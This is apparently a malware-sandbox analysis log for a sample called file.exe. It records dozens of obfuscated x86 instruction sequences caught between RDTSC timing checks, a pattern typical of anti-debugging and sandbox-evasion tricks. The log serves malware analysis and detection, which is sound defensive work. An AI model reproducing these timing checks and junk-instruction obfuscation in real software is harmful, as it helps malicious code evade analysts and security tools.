Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D915D5 second address: 4D915F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FFAA4EF80CAh 0x00000009 pop eax 0x0000000a popad 0x0000000b mov cx, dx 0x0000000e popad 0x0000000f mov eax, dword ptr [esi+28h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D915F2 second address: 4D915F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D915F6 second address: 4D9160C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9160C second address: 4D9161E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4B0AF1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9161E second address: 4D91635 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+28h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFAA4EF80CAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91635 second address: 4D91674 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [esi+2Ch] 0x0000000e jmp 00007FFAA4B0AF24h 0x00000013 mov dword ptr [edx+2Ch], ecx 0x00000016 jmp 00007FFAA4B0AF20h 0x0000001b mov ax, word ptr [esi+30h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91674 second address: 4D91678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91678 second address: 4D9167E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9167E second address: 4D916A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, FE01h 0x00000007 push eax 0x00000008 pop edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov word ptr [edx+30h], ax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FFAA4EF80D2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D916A4 second address: 4D916AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D916AA second address: 4D9171B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFAA4EF80CCh 0x00000009 add esi, 41FAE578h 0x0000000f jmp 00007FFAA4EF80CBh 0x00000014 popfd 0x00000015 movzx esi, dx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ax, word ptr [esi+32h] 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FFAA4EF80D1h 0x00000026 sbb ecx, 05AE7616h 0x0000002c jmp 00007FFAA4EF80D1h 0x00000031 popfd 0x00000032 mov edx, ecx 0x00000034 popad 0x00000035 mov word ptr [edx+32h], ax 0x00000039 jmp 00007FFAA4EF80CAh 0x0000003e mov eax, dword ptr [esi+34h] 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9171B second address: 4D91721 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91721 second address: 4D91730 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4EF80CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91730 second address: 4D91734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91734 second address: 4D91765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+34h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FFAA4EF80CEh 0x00000014 sub ecx, 6F7583C8h 0x0000001a jmp 00007FFAA4EF80CBh 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91765 second address: 4D9176A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9176A second address: 4D91814 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007FFAA4EF80CEh 0x0000000c or ecx, 029E8628h 0x00000012 jmp 00007FFAA4EF80CBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test ecx, 00000700h 0x00000021 pushad 0x00000022 mov dl, al 0x00000024 pushfd 0x00000025 jmp 00007FFAA4EF80D1h 0x0000002a or ah, 00000046h 0x0000002d jmp 00007FFAA4EF80D1h 0x00000032 popfd 0x00000033 popad 0x00000034 jne 00007FFB14F66018h 0x0000003a jmp 00007FFAA4EF80CEh 0x0000003f or dword ptr [edx+38h], FFFFFFFFh 0x00000043 pushad 0x00000044 pushfd 0x00000045 jmp 00007FFAA4EF80CEh 0x0000004a jmp 00007FFAA4EF80D5h 0x0000004f popfd 0x00000050 mov ch, 8Bh 0x00000052 popad 0x00000053 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a mov ecx, 6F89D5DBh 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91814 second address: 4D91819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91819 second address: 4D91839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dh, 7Fh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a or dword ptr [edx+40h], FFFFFFFFh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 call 00007FFAA4EF80CEh 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91839 second address: 4D91881 instructions: 0x00000000 rdtsc 0x00000002 mov bx, C116h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007FFAA4B0AF27h 0x0000000e xor ecx, 723F5D9Eh 0x00000014 jmp 00007FFAA4B0AF29h 0x00000019 popfd 0x0000001a popad 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91881 second address: 4D91885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91885 second address: 4D9188B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9188B second address: 4D91891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91891 second address: 4D91895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91895 second address: 4D91899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91899 second address: 4D918D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 jmp 00007FFAA4B0AF28h 0x0000000e leave 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FFAA4B0AF27h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0537 second address: 4DB0572 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FFAA4EF80CBh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FFAA4EF80D0h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0572 second address: 4DB0578 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0578 second address: 4DB057E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB057E second address: 4DB0582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0582 second address: 4DB05BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FFAA4EF80D4h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FFAA4EF80D7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB05BA second address: 4DB05C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB05C0 second address: 4DB05C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70517 second address: 4D7051C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7051C second address: 4D7052C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7052C second address: 4D70530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70530 second address: 4D70536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70536 second address: 4D7053E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7053E second address: 4D7054E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebp 0x0000000a pushad 0x0000000b mov al, dl 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7054E second address: 4D705A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF22h 0x00000009 popad 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov edi, esi 0x00000010 popad 0x00000011 push dword ptr [ebp+04h] 0x00000014 jmp 00007FFAA4B0AF1Fh 0x00000019 push dword ptr [ebp+0Ch] 0x0000001c jmp 00007FFAA4B0AF26h 0x00000021 push dword ptr [ebp+08h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FFAA4B0AF1Ah 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705A8 second address: 4D705B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705B7 second address: 4D705BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705BD second address: 4D705C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91C05 second address: 4D91C2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFAA4B0AF1Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91C2D second address: 4D91C50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FFAA4EF80CEh 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5049D second address: 4D504A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504A1 second address: 4D504A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504A7 second address: 4D504F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc eax 0x0000000a jmp 00007FFAA4B0AF1Eh 0x0000000f lock xadd dword ptr [ecx], eax 0x00000013 jmp 00007FFAA4B0AF20h 0x00000018 inc eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c call 00007FFAA4B0AF1Dh 0x00000021 pop ecx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504F6 second address: 4D50527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007FFAA4EF80CCh 0x00000013 adc eax, 2C2E57D8h 0x00000019 jmp 00007FFAA4EF80CBh 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50527 second address: 4D50531 instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov dh, cl 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0936 second address: 4DA094E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0CB3 second address: 4DA0CDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 4641660Ah 0x00000008 mov dh, D8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f mov eax, edx 0x00000011 mov bl, 65h 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007FFAA4B0AF1Eh 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0CDD second address: 4DA0CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0CE1 second address: 4DA0D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebp+08h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 380AE172h 0x00000012 jmp 00007FFAA4B0AF23h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B39 second address: 4DA0BC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FFAA4EF80CDh 0x00000014 xor ecx, 51DB35C6h 0x0000001a jmp 00007FFAA4EF80D1h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FFAA4EF80D0h 0x00000026 sbb eax, 2E188E68h 0x0000002c jmp 00007FFAA4EF80CBh 0x00000031 popfd 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push edx 0x00000039 pop eax 0x0000003a pushfd 0x0000003b jmp 00007FFAA4EF80D7h 0x00000040 jmp 00007FFAA4EF80D3h 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0931 second address: 4DB09A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FFAA4B0AF1Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov bh, 9Dh 0x00000013 pushfd 0x00000014 jmp 00007FFAA4B0AF1Ah 0x00000019 or ax, 9BB8h 0x0000001e jmp 00007FFAA4B0AF1Bh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 pushad 0x00000027 mov di, cx 0x0000002a mov ebx, ecx 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f pushad 0x00000030 jmp 00007FFAA4B0AF1Fh 0x00000035 popad 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FFAA4B0AF25h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0296 second address: 4DC029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC029C second address: 4DC02A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC02A0 second address: 4DC02B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFAA4EF80CBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC02B6 second address: 4DC02C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov di, 6B46h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A52 second address: 4D80A58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A58 second address: 4D80A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A5E second address: 4D80A62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A62 second address: 4D80A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007FFAA4B0AF24h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FFAA4B0AF27h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A9B second address: 4D80AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80AA1 second address: 4D80AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505A0 second address: 4D505A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505A6 second address: 4D50636 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FFAA4B0AF20h 0x00000010 mov ecx, dword ptr [ebp+08h] 0x00000013 pushad 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FFAA4B0AF1Ch 0x0000001b add cl, FFFFFFB8h 0x0000001e jmp 00007FFAA4B0AF1Bh 0x00000023 popfd 0x00000024 mov ebx, esi 0x00000026 popad 0x00000027 pushfd 0x00000028 jmp 00007FFAA4B0AF24h 0x0000002d adc ch, 00000018h 0x00000030 jmp 00007FFAA4B0AF1Bh 0x00000035 popfd 0x00000036 popad 0x00000037 or eax, FFFFFFFFh 0x0000003a jmp 00007FFAA4B0AF26h 0x0000003f lock xadd dword ptr [ecx], eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50636 second address: 4D5063A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5063A second address: 4D50640 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50640 second address: 4D506A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FFAA4EF80D2h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FFAA4EF80CBh 0x0000000f sbb si, 74EEh 0x00000014 jmp 00007FFAA4EF80D9h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d dec eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FFAA4EF80D8h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506A1 second address: 4D506B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506B0 second address: 4D506B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506B6 second address: 4D506BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70C65 second address: 4D70C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov edx, 3153A514h 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFAA4EF80D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70C89 second address: 4D70C9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4B0AF1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70C9B second address: 4D70C9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70C9F second address: 4D70CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx edi, ax 0x0000000e pushfd 0x0000000f jmp 00007FFAA4B0AF26h 0x00000014 or al, 00000058h 0x00000017 jmp 00007FFAA4B0AF1Bh 0x0000001c popfd 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FFAA4B0AF20h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70CE9 second address: 4D70CF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
